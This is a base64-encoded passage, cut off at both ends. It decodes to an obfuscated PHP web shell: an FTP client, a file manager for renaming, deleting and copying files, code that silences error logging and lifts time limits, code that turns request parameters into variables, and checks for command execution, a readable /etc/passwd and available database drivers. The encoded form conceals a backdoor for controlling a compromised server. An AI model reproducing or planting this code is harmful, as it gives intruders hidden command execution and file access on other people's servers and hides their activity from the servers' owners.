lcj0iIjsgdmFyICR1c2VyRGlyPSIiOyB2YXIgJHBhc3N3b3JkPSIiOyB2YXIgJGNvbm5lY3Rpb249IiI7IHZhciAkcGFzc2l2ZT1mYWxzZTsgdmFyICRzeXN0eXBlPSIiOyB2YXIgJG1vZGU9RlRQX0JJTkFSWTsgdmFyICRsb2dnZWRPbj1mYWxzZTsgdmFyICRkb3dubG9hZERpcj0iIjsgZnVuY3Rpb24gZnRwKCRzZXJ2ZXIsJHBvcnQsJHVzZXIsJHBhc3N3b3JkLCRwYXNzaXZlPWZhbHNlKXsgJHRoaXMtPnNlcnZlcj0kc2VydmVyOyAkdGhpcy0+cG9ydD0kcG9ydDsgJHRoaXMtPnVzZXI9JHVzZXI7ICR0aGlzLT5wYXNzd29yZD0kcGFzc3dvcmQ7ICR0aGlzLT5jb25uZWN0KCk7ICR0aGlzLT5zZXRQYXNzaXZlKCRwYXNzaXZlKTsgfSBmdW5jdGlvbiBjb25uZWN0KCl7ICR0aGlzLT5jb25uZWN0aW9uPUBmdHBfY29ubmVjdCgkdGhpcy0+c2VydmVyLCR0aGlzLT5wb3J0KTsgJHRoaXMtPmxvZ2dlZE9uPUBmdHBfbG9naW4oJHRoaXMtPmNvbm5lY3Rpb24sJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3N3b3JkKTsgJHRoaXMtPnN5c3R5cGU9QGZ0cF9zeXN0eXBlKCR0aGlzLT5jb25uZWN0aW9uKTsgcmV0dXJuOyB9IGZ1bmN0aW9uIHNldFBhc3NpdmUoJHBhc3NpdmUpeyAkdGhpcy0+cGFzc2l2ZT0kcGFzc2l2ZTsgQGZ0cF9wYXN2KCR0aGlzLT5jb25uZWN0aW9uLCR0aGlzLT5wYXNzaXZlKTsgcmV0dXJuOyB9IGZ1bmN0aW9uIHNldE1vZGUoJG1vZGU9MSl7ICR0aGlzLT5tb2RlPSRtb2RlOyByZXR1cm47IH0gZnVuY3Rpb24gc2V0Q3VycmVudERpcigkZGlyPWZhbHNlKXsgaWYoJGRpcikgQGZ0cF9jaGRpcigkdGhpcy0+Y29ubmVjdGlvbiwkZGlyKTsgJHRoaXMtPmN1cnJlbnREaXI9ejFrKEBmdHBfcHdkKCR0aGlzLT5jb25uZWN0aW9uKSk7IHJldHVybiAkdGhpcy0+Y3VycmVudERpcjsgfSBmdW5jdGlvbiBzZXREb3dubG9hZERpcigkZGlyKXsgJHRoaXMtPmRvd25sb2FkRGlyPSRkaXI7IHJldHVybjsgfSBmdW5jdGlvbiBjaG1vZCgkcCwkZil7IHJldHVybiBAZnRwX3NpdGUoJHRoaXMtPmNvbm5lY3Rpb24sImNobW9kICRwICRmIik7IH0gZnVuY3Rpb24gY2QoJGRpcil7IGlmKCRkaXI9PSIuLiIpeyBAZnRwX2NkdXAoJHRoaXMtPmNvbm5lY3Rpb24pOyB9ZWxzZXsgaWYoIUBmdHBfY2hkaXIoJHRoaXMtPmNvbm5lY3Rpb24sJHRoaXMtPmN1cnJlbnREaXIuJGRpcikpeyBAZnRwX2NoZGlyKCR0aGlzLT5jb25uZWN0aW9uLCRkaXIpOyB9IH0gJHRoaXMtPmN1cnJlbnREaXI9ejFrKEBmdHBfcHdkKCR0aGlzLT5jb25uZWN0aW9uKSk7IHJldHVybjsgfSBmdW5jdGlvbiBpc19kaXIoJGRpcikgeyBpZiAoQGZ0cF9jaGRpcigkdGhpcy0+Y29ubmVjdGlvbiwgJGRpcikpIHsgQGZ0cF9jaGRpcigkdGhpcy0+Y29ubmVjdGlvbiwgJy4uJyk7IHJldHVybiB0cnVlOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBmdW5jdGlvbiBnZXQoJGZpbGUsJGRlc3Q9JycsJHQ9MCl7IGlmKCRkZXN0PT0nJykgJGRlc3Q9JHRoaXMtPmRvd25sb2FkRGlyOyByZXR1cm4gQGZ0cF9nZXQoJHRoaXMtPmNvbm5lY3Rpb24sKCR0PyRkZXN0OnoxaygkZGVzdCkuejJsKCRmaWxlKSksIiRmaWxlIiwkdGhpcy0+bW9kZSk7IH0gZnVuY3Rpb24gZ2V0UmVjdXJzaXZlKCRzcmMsJGRlc3Q9JycpeyBpZigkZGVzdD09JycpICRkZXN0PSR0aGlzLT5kb3dubG9hZERpcjsgJHRhcmdldD16MmwoJHNyYyk7ICRzcmM9ejFrKCRzcmMpOyAkZGVzdD16MWsoJGRlc3QpLiR0YXJnZXQ7IGlmKCF6NHIoJGRlc3QpKSBAbWtkaXIoJGRlc3QpOyAkbGlzdD1AZnRwX25saXN0KCR0aGlzLT5jb25uZWN0aW9uLCRzcmMpOyBmb3IoJHg9MDskeDxAY291bnQoJGxpc3QpOyR4KyspeyAkbz16MmwoJGxpc3RbJHhdKTsgaWYoJG8hPScuJyAmJiAkbyE9Jy4uJyl7IGlmKCR0aGlzLT5pc19kaXIoJHNyYy4kbykpeyAkdGhpcy0+Z2V0UmVjdXJzaXZlKCRzcmMuJG8sJGRlc3QpOyB9ZWxzZXsgJHRoaXMtPmdldCgkc3JjLiRvLCAkZGVzdCk7IH0gfSB9IH0gZnVuY3Rpb24gZ2V0T2JqZWN0KCRzcmMsICRkZXN0PScnKXsgaWYoJGRlc3Q9PScnKSAkZGVzdD0kdGhpcy0+ZG93bmxvYWREaXI7IGlmKCR0aGlzLT5pc19kaXIoJHNyYykpeyByZXR1cm4gJHRoaXMtPmdldFJlY3Vyc2l2ZSh6MWsoJHNyYyksICRkZXN0KTsgfSBlbHNlIHsgcmV0dXJuICR0aGlzLT5nZXQoJHNyYywgJGRlc3QpOyB9IH0gZnVuY3Rpb24gcHV0KCRyZiwkbGYpeyByZXR1cm4gKEBmaWxlX2V4aXN0cygkbGYpID8gQGZ0cF9wdXQoJHRoaXMtPmNvbm5lY3Rpb24sJHJmLCRsZiwkdGhpcy0+bW9kZSkgOiBmYWxzZSk7IH0gZnVuY3Rpb24gcHV0UmVjdXJzaXZlKCRzcmMsJGRlc3Q9JycpeyBpZigkZGVzdD09JycpICRkZXN0PSR0aGlzLT5jdXJyZW50RGlyOyAkdGFyZ2V0PXoybCgkc3JjKTsgJHNyYz16MWsoJHNyYyk7ICRkZXN0PXoxaygkZGVzdCkuJHRhcmdldDsgJHRoaXMtPm1ha2VEaXIoJGRlc3QpOyAkbGlzdD16OHgoJHNyYyk7IGZvcigkeD0wOyAkeDxAY291bnQoJGxpc3QpOyAkeCsrKXsgJG89ejJsKCRsaXN0WyR4XSk7IGlmKCRvIT0iLiImJiRvIT0iLi4iKXsgaWYoejRqKCRzcmMuJG8pKXsgJHRoaXMtPnB1dFJlY3Vyc2l2ZSgkc3JjLiRvLCRkZXN0KTsgfWVsc2V7ICR0aGlzLT5wdXQoejFrKCRkZXN0KS4kbywkc3JjLiRvKTsgfSB9IH0gfSBmdW5jdGlvbiBwdXRPYmplY3QoJHNyYywgJGRlc3Q9JycpeyBpZigkZGVzdD09JycpICRkZXN0PSR0aGlzLT5jdXJyZW50RGlyOyAkdGFyZ2V0PXoybCgkc3JjKTsgaWYoejRqKCRzcmMpKXsgcmV0dXJuICR0aGlzLT5wdXRSZWN1cnNpdmUoJHNyYywgJGRlc3QpOyB9IGVsc2UgeyByZXR1cm4gJHRoaXMtPnB1dCh6MWsoJGRlc3QpLiR0YXJnZXQsICRzcmMpOyB9IH0gZnVuY3Rpb24gZGVsZXRlRmlsZSgkcmYpeyByZXR1cm4gQGZ0cF9kZWxldGUoJHRoaXMtPmNvbm5lY3Rpb24sIiRyZiIpOyB9IGZ1bmN0aW9uIGRlbGV0ZU9iamVjdCgkb2JqKXsgJGNvYmo9ejJsKCRvYmopOyBpZigkY29iaiE9Jy4nJiYkY29iaiE9Jy4uJyl7IGlmKCR0aGlzLT5pc19kaXIoJG9iaikpeyBpZigkbGlzdD1AZnRwX25saXN0KCR0aGlzLT5jb25uZWN0aW9uLCIkb2JqIikpeyBmb3IoJHg9MDskeDxAY291bnQoJGxpc3QpOyR4KyspeyAkbz16MmwoJGxpc3RbJHhdKTsgaWYoJG8hPScuJyYmJG8hPScuLicpeyAkdGhpcy0+ZGVsZXRlT2JqZWN0KHoxaygkb2JqKS4kbyk7IH0gfSB9IEBmdHBfcm1kaXIoJHRoaXMtPmNvbm5lY3Rpb24sIiRvYmoiKTsgfWVsc2V7ICR0aGlzLT5kZWxldGVGaWxlKCIkb2JqIik7IH0gfSB9IGZ1bmN0aW9uIHJlbmFtZSgkb2xkLCRuZXcpeyByZXR1cm4gQGZ0cF9yZW5hbWUoJHRoaXMtPmNvbm5lY3Rpb24sIiRvbGQiLCIkbmV3Iik7IH0gZnVuY3Rpb24gbWFrZURpcigkZGlyKXsgcmV0dXJuIEBmdHBfbWtkaXIoJHRoaXMtPmNvbm5lY3Rpb24sIiRkaXIiKTsgfSBmdW5jdGlvbiBwYXJzZWxpbmUoJHJhdykgeyBpZiAoQHByZWdfbWF0Y2goIi8oWy1kbF0pKFtyd3hzU3RULV17OX0pWyBdKyhbMC05XSspWyBdKyhbXiBdKylbIF0rKC4rKVsgXSsoWzAtOV0rKVsgXSsoW2EtekEtWl0rWyBdK1swLTldKylbIF0rKFswLTk6XSspWyBdKyguKikvIiwgJHJhdywgJG0pKXsgJGw9YXJyYXkoKCRtWzFdPT0nZCc/J2QnOigkbVsxXT09J2wnPydsJzonZicpKSwgJG1bOV0sICRtWzZdKTsgfSBlbHNlaWYgKEBwcmVnX21hdGNoKCIvKFstZGxdKShbcnd4c1N0VC1dezl9KVsgXSsoLiopWyBdKyhbYS16QS1aMC05IF0rKVsgXSsoWzAtOTpdKylbIF0rKC4qKS8iLCAkcmF3LCAkbSkpeyAkbD1hcnJheSgoJG1bMV09PSdkJz8nZCc6KCRtWzFdPT0nbCc/J2wnOidmJykpLCAkbVs2XSwgJG1bM10pOyB9IGVsc2VpZiAoQHByZWdfbWF0Y2goIi8oWzAtOVxcLy1dKylbIF0rKFswLTk6QU1QXSspWyBdKyhbMC05XSp8PERJUj4pWyBdKyguKikvIiwgJHJhdywgJG0pKXsgJGw9YXJyYXkoKCRtWzNdPT0iPERJUj4iPydkJzonZicpLCAkbVs0XSwgJG1bM10pOyB9IGVsc2VpZiAoQHByZWdfbWF0Y2goIi8oWy1dfFtkXSlbIF0rKC57MTB9KVsgXSsoW14gXSspWyBdKyhbMC05XSopWyBdKyhbYS16QS1aXSpbIF0rWzAtOV0qKVsgXSsoWzAtOTpdKilbIF0rKC4qKS8iLCAkcmF3LCAkbSkpeyAkbD1hcnJheSgoJG1bMV09PSdkJz8nZCc6J2YnKSwgJG1bN10sICRtWzRdKTsgfSBlbHNlaWYgKEBwcmVnX21hdGNoKCIvKFthLXpBLVowLTlfLV0rKVsgXSsoWzAtOV0rKVsgXSsoWzAtOVxcLy1dKylbIF0rKFswLTk6XSspWyBdKyhbYS16QS1aMC05XyAtXCpdKylbIFxcL10rKFteXFwvXSspLyIsICRyYXcsICRtKSl7ICRsPWFycmF5KCgkbVs1XT09IipTVE1GIj8nZic6J2QnKSwgJG1bNl0sICRtWzJdKTsgfSBlbHNlaWYgKEBwcmVnX21hdGNoKCIvKFstZGxdKShbcnd4c1N0VC1dezl9KVsgXSsoWzAtOV0rKVsgXSsoW2EtekEtWjAtOV0rKVsgXSsoW2EtekEtWjAtOV0rKVsgXSsoWzAtOV0rKVsgXSsoW2EtekEtWl0rWyBdK1swLTldKylbIF0rKFswLTk6XSspWyBdKC4qKS8iLCAkcmF3LCAkbSkpeyAkbD1hcnJheSgoJG1bMV09PSdkJz8nZCc6KCRtWzFdPT0nbCc/J2wnOidmJykpLCAkbVs5XSwgJG1bNl0pOyB9IGVsc2UgeyAkbD1hcnJheSgpOyB9IGlmICghQGlzc2V0KCRsWzFdKXx8JGxbMV0gPT0gIi4iIHx8ICRsWzFdID09ICIuLiIgfHwgQHN1YnN0cigkcmF3LDAsNSkgPT0gInRvdGFsIikgcmV0dXJuIGFycmF5KCk7IHJldHVybiAkbDsgfSBmdW5jdGlvbiBmdHBSYXdMaXN0KCRkaXI9JycpeyBpZigkZGlyPT0nJykgJGRpcj0kdGhpcy0+Y3VycmVudERpcjsgJGZpbGVzPWFycmF5KCk7ICRsaXN0PUBmdHBfcmF3bGlzdCgkdGhpcy0+Y29ubmVjdGlvbiwiLWEgIi4kZGlyKTsgaWYoQGlzX2FycmF5KCRsaXN0KSl7ICRpPTA7IGZvcmVhY2goJGxpc3QgYXMgJHJhdyl7ICRsaW5lPSR0aGlzLT5wYXJzZWxpbmUoJHJhdyk7IGlmKEBjb3VudCgkbGluZSk9PTMpeyAkZmlsZXNbJGldPSRsaW5lOyAkaSsrOyB9IH0gfSByZXR1cm4gJGZpbGVzOyB9IH0gaWYoQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCc0LjEuMCcpPT0tMSl7ICRfUE9TVD0mJEhUVFBfUE9TVF9WQVJTOyAkX0dFVD0mJEhUVFBfR0VUX1ZBUlM7ICRfU0VSVkVSPSYkSFRUUF9TRVJWRVJfVkFSUzsgJF9DT09LSUU9JiRIVFRQX0NPT0tJRV9WQVJTOyB9IGlmKEBpc3NldCgkX0dFVFsnYWN0J10pICYmICRfR0VUWydhY3QnXT09ImkiKXsgJGltZz0kX0dFVFsnaW1nJ107IGlmKCFAaXNzZXQoJF9HRVRbJ2dldGFsbCddKSl7ICRpbWc9QHN0cl9yZXBsYWNlKCJ+IiwiIiwkaW1nKTsgZm9yZWFjaCgkaW5kZXggYXMgJGs9PiR2KXsgaWYoQGluX2FycmF5KCRpbWcsJHYpKXsgJGltZz0kazsgYnJlYWs7IH0gfSBpZihAZW1wdHkoJGltYWdlc1skaW1nXSkpeyAkaW1nPSJzbWFsbF91bmsiOyBpZihAaXNzZXQoJF9HRVRbJ2V4ZSddKSYmJF9HRVRbJ2V4ZSddKSAkaW1nPSJjbWQiOyB9ICRpbWFnZT16OWIoJGltYWdlc1skaW1nXSk7IEBvYl9zdGFydCgpOyAkbGVuPUBzdHJsZW4oJGltYWdlKTsgQGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7IEBoZWFkZXIoIkV4cGlyZXM6ICIuQGRhdGUoInIiLEBta3RpbWUoMCwwLDAsMSwxLDIwMzApKSk7IEBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOyBAaGVhZGVyKCdMYXN0LU1vZGlmaWVkOiAnLkBkYXRlKCdyJykpOyBAaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOyBAaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy4kbGVuKTsgQGhlYWRlcignQ29udGVudC10eXBlOiBpbWFnZS9wbmcnKTsgZWNobyAkaW1hZ2U7IEBvYl9lbmRfZmx1c2goKTsgfWVsc2V7IHozeigpOyAkcj0nJzsgZm9yZWFjaCgkaW5kZXggYXMgJGE9PiRiKXsgZm9yZWFjaCgkYiBhcyAkZCl7IGlmKCRhIT0kZCl7IGlmKEBpc3NldCgkaW1hZ2VzWyRkXSkmJiFAZW1wdHkoJGltYWdlc1skZF0pKXsgJHIuPXo3dSh6OWMoIlJlbW92ZSBcJGltYWdlc1siLiRkLiJdIikpOyB9IH0gfSB9IGlmKCRyIT0nJykgZWNobyB6MTB3KCRyKTsgQG5hdHNvcnQoJGltYWdlcyk7ICRrPUBhcnJheV9rZXlzKCRpbWFnZXMpOyAkbj0xOyAkcj0nJzsgZm9yZWFjaCgkayBhcyAkdSkgJHIgLj0gejd1KHo5YygoJG4rKykpLno5YygkdSkuejljKCc8aW1nIGFsdD0iIiBzcmM9Ij9hY3Q9aSZpbWc9Jy4kdS4nIiBib3JkZXI9IjAiPicpKTsgZWNobyB6MTB3KCRyKTsgejNqKCk7IH0gZXhpdCgpOyB9IGlmKEBmdW5jdGlvbl9leGlzdHMoJ2Vycm9yX3JlcG9ydGluZycpKXsgQGVycm9yX3JlcG9ydGluZygwKTsgfSBpZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfc2V0JykpeyBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOyBAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyBAaW5pX3NldCgnZmlsZV91cGxvYWRzJywxKTsgQGluaV9zZXQoJ2Fzc2VydC5xdWlldF9ldmFsJywwKTsgQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7IEBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCcyNTZNJyk7IEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywnMjU2TScpOyBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3N5YmFzZScsMCk7IEBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsMCk7IEBpbmlfc2V0KCdtYWdpY19xdW90ZXNfZ3BjJywwKTsgQGluaV9zZXQoJ29wZW5fYmFzZWRpcicsTlVMTCk7IH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdpbmlfYWx0ZXInKSl7IEBpbmlfYWx0ZXIoJ2Rpc3BsYXlfZXJyb3JzJywwKTsgQGluaV9hbHRlcignZXJyb3JfbG9nJyxOVUxMKTsgQGluaV9hbHRlcignbG9nX2Vycm9ycycsMCk7IEBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7IEBpbmlfYWx0ZXIoJ2FsbG93X3VybF9mb3BlbicsMSk7IEBpbmlfYWx0ZXIoJ21lbW9yeV9saW1pdCcsJzI1Nk0nKTsgQGluaV9hbHRlcigndXBsb2FkX21heF9maWxlc2l6ZScsJzI1Nk0nKTsgQGluaV9hbHRlcignbWFnaWNfcXVvdGVzX3N5YmFzZScsMCk7IEBpbmlfYWx0ZXIoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywwKTsgQGluaV9hbHRlcignbWFnaWNfcXVvdGVzX2dwYycsMCk7IEBpbmlfYWx0ZXIoJ29wZW5fYmFzZWRpcicsTlVMTCk7IH0gaWYoQGZ1bmN0aW9uX2V4aXN0cygnc2V0X3RpbWVfbGltaXQnKSl7IEBzZXRfdGltZV9saW1pdCgwKTsgfSBlbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKXsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMzAwKTsgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdpbmlfYWx0ZXInKSl7IEBpbmlfYWx0ZXIoJ21heF9leGVjdXRpb25fdGltZScsMzAwKTsgfSBAc2Vzc2lvbl9zdGFydCgpOyBAb2Jfc3RhcnQoKTsgZGVmaW5lKCJzdGFydCIsejEwZSgpKTsgaWYoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpeyBpZihAaXNzZXQoJF9GSUxFUykmJkBjb3VudCgkX0ZJTEVTKT4wKXsgejN1KCRfRklMRVMpOyB9IHo0ZigkX1BPU1QpOyB9IGlmKEBpc3NldCgkX1NFU1NJT05bJ3RtcHMnXSkpeyAkdG1wcz0kX1NFU1NJT05bJ3RtcHMnXTsgfSBlbHNlIHsgJHRtcHM9ejZqKCk7ICRfU0VTU0lPTlsndG1wcyddPSR0bXBzOyB9ICR0ZW1wZGlyPSR0bXBzWzBdOyBmb3JlYWNoKCRfUE9TVCBhcyAkcG9zdGs9PiRwb3N0dil7IGlmKEBzdWJzdHIoJHBvc3RrLDAsNik9PSJiYWNrZl8iKXsgJHBvc3RrPUBzdWJzdHIoJHBvc3RrLDYpOyAkcG9zdHY9QHVybGRlY29kZSgkcG9zdHYpOyB9IGlmKCRwb3N0az09J21lcmdlZCcpeyAkYXJfbWVyZ2VkPXBhcnNlX3N0cihiYXNlNjRfZGVjb2RlKCRwb3N0dikpOyBpZihAY291bnQoJGFyX21lcmdlZCk+MCl7IGZvcmVhY2goJGFyX21lcmdlZCBhcyAka2tleT0+JGt2YWwpeyBpZighQGlzc2V0KCR7JGtrZXl9KSl7ICR7JGtrZXl9PUB1cmxkZWNvZGUoJGt2YWwpOyB9IH0gfSB9IGVsc2UgeyBpZighQGlzc2V0KCR7JHBvc3RrfSkpeyAkeyRwb3N0a309JHBvc3R2OyB9IH0gfSBmb3JlYWNoKCRfR0VUIGFzICRrPT4kdil7IGlmKCFAaXNzZXQoJHska30pKXsgJHska309QHVybGRlY29kZSgkdik7IH0gfSBpZighQGlzc2V0KCRhY3QpKSAkYWN0PXo3eignMicsJ2RlZmF1bHRfYWN0Jyk7IGlmKCRhY3Q9PSJsb2dvdXQiKSB6NHcoKTsgejRnKCk7ICR3aW49JG5peD0kbGludXg9MDsgJG9zPXo5cCgpOyBpZihAcHJlZ19tYXRjaCgiL153aW4vaSIsICRvcykpeyAkd2luPTE7IH0gZWxzZSB7ICRuaXg9MTsgaWYoQHByZWdfbWF0Y2goIi9saW51eC9pIiwkb3MpKSAkbGludXg9MTsgfSAkc2hfZXhlYz0kc2FmZV9leGVjPTA7ICR0ZXN0X2NtZD16OWUoImVjaG8gel90ZXN0ZXhlYyIpOyBpZihAc3RycG9zKCR0ZXN0X2NtZCwiZXhlYyIpPT09Nil7ICRzaF9leGVjPTE7IH0gZWxzZWlmICgkbml4ICYmIEBwcmVnX21hdGNoKCcvc3VjY2Vzc2Z1bGx5IGV4ZWN1dGVkLycsICR0ZXN0X2NtZCkpeyAkc2FmZV9leGVjPTE7IH0gJGN1c2VyPXo1aigpOyAkc2FkZHI9KEBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/JF9TRVJWRVJbJ1NFUlZFUl9BRERSJ106KEBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JzEyNy4wLjAuMScpKTsgJHlhZGRyPSRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkYnNhZmU9KCghejdlKCdpbmlfZ2V0Jyl8fHo4ZCgnc2FmZV9tb2RlJyl8fCEkc2hfZXhlYykgPyAxIDogMCk7ICRib3BlbmRpcj0oQGNvdW50KHo5YShAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpKT4wID8gMSA6IDApOyAkYV9zcWw9YXJyYXkoKTsgJGJteXNxbD16N2UoIm15c3FsX2Nvbm5lY3QiKTsgaWYoJGJteXNxbCkgJGFfc3FsW109Ik15U1FMIjsgJGJtc3NxbD16N2UoIm1zc3FsX2Nvbm5lY3QiKTsgaWYoJGJtc3NxbCkgJGFfc3FsW109Ik1zU1FMIjsgJGJvcmFjbGU9ejdlKCJvY2lsb2dvbiIpOyBpZigkYm9yYWNsZSkgJGFfc3FsW109Ik9yYWNsZSI7ICRicG9zdGdyZXM9ejdlKCJwZ19jb25uZWN0Iik7IGlmKCRicG9zdGdyZXMpICRhX3NxbFtdPSJQb3N0Z3JlU1FMIjsgJGJwYXNzd2Q9MDsgaWYoJG5peCl7IGlmKHoxeSgiL2V0Yy9wYXNzd2QiKSkgJGJwYXNzd2Q9MTsgfSAkYmN1cmw9KEBleHRlbnNpb25fbG9hZGVkKCdjdXJsJykmJno3ZSgiY3VybF9pbml0IikpOyAkYmZzb2NrPXo3ZSgiZnNvY2tvcGVuIik7ICRiZnRwPSh6N2UoImZ0cF9jb25uZWN0IikmJno3ZSgiZnRwX2xvZ2luIikpOyAkYm1haWw9ejdlKCJtYWlsIik7ICRiemlwYXJjaGl2ZT0oejdlKCJjbGFzc19leGlzdHMiKSYmQGNsYXNzX2V4aXN0cygiWmlwQXJjaGl2ZSIpKTsgJGR0b3RhbD0kZHVzZWQ9JGRmcmVlPScwQic7IGlmKCRhY3Q9PSJkIil7IGlmKEBpc3NldCgkZHQpKXsgJGR0PUB0cmltKCRkdCk7IGlmKCFAZW1wdHkoJGR0KSl7IHN3aXRjaCgkZHQpeyBjYXNlICduZXcnOiBpZighejRqKCRkKSl7IEBta2RpcigkZCk7IH0gJGFjdD0ibHMiOyBicmVhazsgY2FzZSAnY2hkaXInOiBpZihAaXNzZXQoJHR0KSYmejRqKCR0dCkpeyAkZD0kdHQ7IH0gJGFjdD0ibHMiOyBicmVhazsgY2FzZSAncmVuYW1lJzogaWYoQGlzc2V0KCR0dCkmJno0aigkdHQpKXsgaWYoQGlzc2V0KCRkcmVuYW1lKSYmJGRyZW5hbWUmJkBpc3NldCgkbmV3bmFtZSkmJiFAZW1wdHkoJG5ld25hbWUpKXsgaWYoejNhKCRuZXduYW1lKT09Jy4vJyl7ICRuZXduYW1lPXozYSgkdHQpLnoybCgkbmV3bmFtZSk7IH0gZWxzZWlmKCF6NHIoejNhKCRuZXduYW1lKSkpeyAkbmV3bmFtZT16M2EoJHR0KS4kbmV3bmFtZTsgfSBpZih6NHIoJG5ld25hbWUpJiZ6NGooJG5ld25hbWUpKXsgJG5ld25hbWU9ejFrKCRuZXduYW1lKS56MmwoJHR0KTsgfSAkcmVuZGlybXNnPSB6M3EoKEByZW5hbWUoJHR0LCRuZXduYW1lKT96OXkoIjQ3NCIsJG5ld25hbWUpOno5eSgiNDc1IiwkdHQpKSwnMCcpOyB9IGVsc2UgeyAkc2hvd3JlbmFtZTE9MTsgfSB9ICRhY3Q9ImxzIjsgYnJlYWs7IGNhc2UgJ2RlbGV0ZSc6IGlmKHo0cigkdHQpKXsgejhzKCR0dCk7IH0gJGFjdD0ibHMiOyBicmVhazsgY2FzZSAnZnVuY3Rpb25zJzogaWYoQGlzc2V0KCR0dCkmJno0aigkdHQpKXsgJGQ9JHR0OyB9ICRhY3Q9ImRmdW5jIjsgYnJlYWs7IGNhc2UgJ2Jjb3B5JzogaWYoQGlzc2V0KCR0dCkmJno0aigkdHQpKXsgJGFidWY9JGR0OyB9ICRhY3Q9ImxzIjsgYnJlYWs7IGNhc2UgJ2JjdXQnOiBpZihAaXNzZXQoJHR0KSYmejRqKCR0dCkpeyAkYWJ1Zj0kZHQ7IH0gJGFjdD0ibHMiOyBicmVhazsgY2FzZSAnYnBhc3RlY29weSc6ICRhYnVmPSRkdDsgaWYoQGlzc2V0KCR0dCkmJno0aigkdHQpKXsgJGQ9JHR0OyB9ICRhY3Q9ImxzIjsgYnJlYWs7IGNhc2UgJ2JwYXN0ZWN1dCc6ICRhYnVmPSRkdDsgaWYoQGlzc2V0KCR0dCkmJno0aigkdHQpKXsgJGQ9JHR0OyB9ICRhY3Q9ImxzIjsgYnJlYWs7IGNhc2UgJ2JwYXN0ZWFsbCc6ICRhYnVmPSRkdDsgaWYoQGlzc2V0KCR0dCkmJno0aigkdHQpKXsgJGQ9JHR0OyB9ICRhY3Q9ImxzIjsgYnJlYWs7IGRlZmF1bHQ6IGJyZWFrOyB9IH0gfSB9IGlmKCFAaXNzZXQoJGQpfHxAZW1wdHkoJGQpKXsgJGQ9QHJlYWxwYXRoKEBkaXJuYW1lKF9fRklMRV9fKSk7IHo5bigpOyB9ZWxzZWlmKEByZWFscGF0aCgkZCkpeyAkZD1AcmVhbHBhdGgoJGQpOyB6OW4oKTsgfWVsc2VpZihAaXNzZXQoJGRvbGQpJiZAcmVhbHBhdGgoejFrKCRkb2xkKS4kZCkpeyAkZD1AcmVhbHBhdGgoejFrKCRkb2xkKS4kZCk7IH0gaWYoQGVtcHR5KCRkKSkgJGQ9QGdldGN3ZCgpOyAkZD16MWsoJGQpOyBAY2hkaXIoJGQpOyBpZih6N2UoJ2Rpc2tfZnJlZV9zcGFjZScpJiZ6N2UoJ2Rpc2tfdG90YWxfc3BhY2UnKSl7ICRmcmVlPUBkaXNrX2ZyZWVfc3BhY2UoJGQpOyAkdG90YWw9QGRpc2tfdG90YWxfc3BhY2UoJGQpOyBpZigkZnJlZT09PWZhbHNlKSAkZnJlZT0wOyBpZigkdG90YWw9PT1mYWxzZSkgJHRvdGFsPTA7IGlmKCRmcmVlPDApICRmcmVlPTA7IGlmKCR0b3RhbDwwKSAkdG90YWw9MDsgJGRmcmVlPUBzdHJfcmVwbGFjZSgiICIsIiIsejd4KCRmcmVlKSk7ICRkdG90YWw9QHN0cl9yZXBsYWNlKCIgIiwiIix6N3goJHRvdGFsKSk7ICRkdXNlZD1Ac3RyX3JlcGxhY2UoIiAiLCIiLHo3eCgoJHRvdGFsLSRmcmVlKSkpOyB9ICRhX2J1Zj1hcnJheSgnYmNvcHknLCdiY3V0Jyk7ICRiX2J1Zj1hcnJheSgnYnBhc3RlY29weScsJ2JwYXN0ZWN1dCcsJ2JwYXN0ZWFsbCcpOyBpZighQGlzc2V0KCR1c2VfYnVmZmVyKSl7IGlmKEBpc3NldCgkX1NFU1NJT05bJ3VzZV9idWZmZXInXSkpeyAkdXNlX2J1ZmZlcj0kX1NFU1NJT05bJ3VzZV9idWZmZXInXTsgfSBlbHNlIHsgJHVzZV9idWZmZXI9ejd6KCc0Jyk7IH0gfSBlbHNlIHsgJHVzZV9idWZmZXIgPSAoYm9vbCkoaW50KSR1c2VfYnVmZmVyOyBpZighJHVzZV9idWZmZXIpIHowZCgpOyB9ICRfU0VTU0lPTlsndXNlX2J1ZmZlciddID0gJHVzZV9idWZmZXI7IGlmKCRuaXgmJiRzaF9leGVjKXsgaWYoIUBpc3NldCgkY21kX3RhcikpeyBpZihAaXNzZXQoJF9TRVNTSU9OWydjbWRfdGFyJ10pKXsgJGNtZF90YXI9JF9TRVNTSU9OWydjbWRfdGFyJ107IH0gZWxzZSB7ICRjbWRfdGFyPXo4dCgidGFyIik7IH0gfSAkX1NFU1NJT05bJ2NtZF90YXInXT0kY21kX3RhcjsgaWYoIUBpc3NldCgkY21kX3VucmFyKSl7IGlmKEBpc3NldCgkX1NFU1NJT05bJ2NtZF91bnJhciddKSl7ICRjbWRfdW5yYXI9JF9TRVNTSU9OWydjbWR